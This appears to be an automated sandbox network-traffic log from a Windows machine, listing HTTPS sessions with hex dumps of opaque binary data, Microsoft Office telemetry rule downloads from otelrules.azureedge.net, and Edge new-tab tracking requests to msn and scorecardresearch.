2024-11-16 12:01:38 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-16 12:01:38 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:38 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 4c357a87-301e-0051-687a-3638bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120138Z-164f84587bfmxxfphC1DFW3au8000000019g0000000025c9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:38 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:38 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: d0d1667b-a01e-000d-1d09-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120138Z-16547b76f7fnlq8chC1DFWxnen00000002kg0000000002rr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:38 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:38 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 90f07e84-d01e-0028-2a09-377896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120138Z-16547b76f7fz92z5hC1DFWmdx80000000140000000002qy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:38 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 28ec3a41-801e-00a0-70af-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120138Z-16547b76f7fgfpmjhC1DFWw6ec0000000270000000006mm3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 12:01:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:38 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 12:01:38 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 12:01:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 03bc4034-001e-00a2-3978-36d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T120138Z-164f84587bfsqsthhC1DFWh63000000001ug000000009f52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 12:01:38 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	49870	108.156.211.19	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:38 UTC	925	OUT	GET /b?rn=1731758497078&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=19EE44C5987468FE3EE351FC992369A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-16 12:01:39 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 16 Nov 2024 12:01:38 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1731758497078&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=19EE44C5987468FE3EE351FC992369A3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=121b5d65723694ace3167dc1731758498; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=121b5d65723694ace3167dc1731758498; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 8158504cb741686f0ef12b083cde6698.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: YmJdF-sssHQH2pKTTCro3L5cG0Hfpl_kFNknEVpUifBkBArdqwzwcA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.5	49872	20.125.209.212	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-16 12:01:39 UTC	1175	OUT	GET /c.gif?rnd=1731758497078&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cda31fbc6f224238912fb2576d832d0f&activityId=cda31fbc6f224238912fb2576d832d0f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=19EE44C5987468FE3EE351FC992369A3; _EDGE_S=F=1&SID=102C6E2A971865762B107B13966264E9; _EDGE_V=1
2024-11-16 12:01:39 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1731758497078&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=cda31fbc6f224238912fb2576d832d0f&activityId=cda31fbc6f224238912fb2576d832d0f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=0D5F7B803890451EAEC6E948E8F480DB&RedC=c.msn.com&MXFR=19EE44C5987468FE3EE351FC992369A3 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=19EE44C5987468FE3EE351FC992369A3; domain=.msn.com; expires=Thu, 11-Dec-2025 12:01:39 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 16 Nov 2024 12:01:38 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	49871	20.96.153.111	443	6764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
